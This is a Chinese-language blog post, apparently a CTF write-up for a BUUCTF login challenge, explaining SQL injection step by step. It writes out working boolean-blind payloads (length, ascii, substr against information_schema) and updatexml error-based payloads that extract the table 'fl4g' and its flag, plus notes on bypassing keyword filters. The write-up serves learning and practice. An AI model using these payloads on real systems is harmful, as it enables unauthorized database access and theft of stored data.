SQL注入

Itachi

前言

请原谅我发出一点不友好的声音:
每个人无论是做完题了,还是没做完题,他只要是想进步,都会搜一下WP,尤其是BUUCTF的WP更有必要搜一下,为的是更标准、更多的思路,不成想我搜索发现,清一色!
思路一摸一样,用的函数一模一样,更甚之有的连思路都没有,上来就报错注入,生怕别人不知道他是抄的wp。。。令人无语!


我写的这个是我自己的思路,权当是留作笔记吧,或者是一点不健康的牢骚。。。

知识点

  • 报错注入:
    使xml路径不存在而报错(存在特殊字符)
    updatexml(目标xml内容, xml路径, 更新内容)
    在路径处加入查询语句,用拼接函数与特殊符号(~)拼接在一起,使其报错并执行查询语句
  • length()
    返回字符串长度
  • ascii()
    使字符返回为ASCII
  • substr()
    其中有三个参数:substr(字符串,n,m)
    将字符串从第 n位开始切 m
  • concat()
    拼接函数,将字符串拼接在一起

wp

有两个页面,一个是 login.php,一个是 user.php,进入第一个,是一个登录框,注释里写着让抓包并且 ?tips=1开启错误提示(暗示报错注入)

判断注入类型

name=123&pass=123,回显是 \u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是 账号不存在
name=admin&pass=123,回显是 \u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是 账号或密码错误

尝试发现:

union、select、or等字符被过滤(可以大小写、双写绕过)
闭合方式是 '

第一个想到布尔盲注

name=admin' and length((Select table_name from information_schema.tables where table_schema=database() limit 0,1))>1 -- qwe&pass=123

成功,可以布尔盲注(密码错误则为 true,不存在则为 false
这里要注意一点:①用 and连接;②子查询要再套一层括号

布尔盲注查表名

  • 判断表名长度:name=admin' and length((Select table_name from information_schema.tables where table_schema=database() limit 0,1))=4 -- qwe&pass=123
    img
  • 爆表名(只需要改变 substr(字符串,n,1)中的 n,来切不同的位置)
    第一位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 -- qwe=> f
    第二位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=108 -- qwe=> l
    第三位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=52 -- qwe=> 4
    第四位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103 -- qwe=> g

报错注入

在查的过程中我感觉太慢了(不能用burp爆,429
想到刚才开了错误提示,可以报错注入:admin' and updatexml(1,concat('~',database()),1) -- qwe'
img
可以报错注入
刚才查过表了,直接查字段(子查询):(Select column_name from information_schema.columns where table_schema=database() and table_name='fl4g' limit 0,1)
img
得到 flag
查数据,拼接函数里的子查询:(Select flag from fl4g limit 0,1)
img
得到:n1book{login_sqli_is_nice}

  • 标题: SQL注入
  • 作者: Itachi
  • 创建于 : 2021-12-02 03:28:25
  • 更新于 : 2021-12-02 03:58:02
  • 链接: https://blog.tarchi.top/web/SQL注入/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论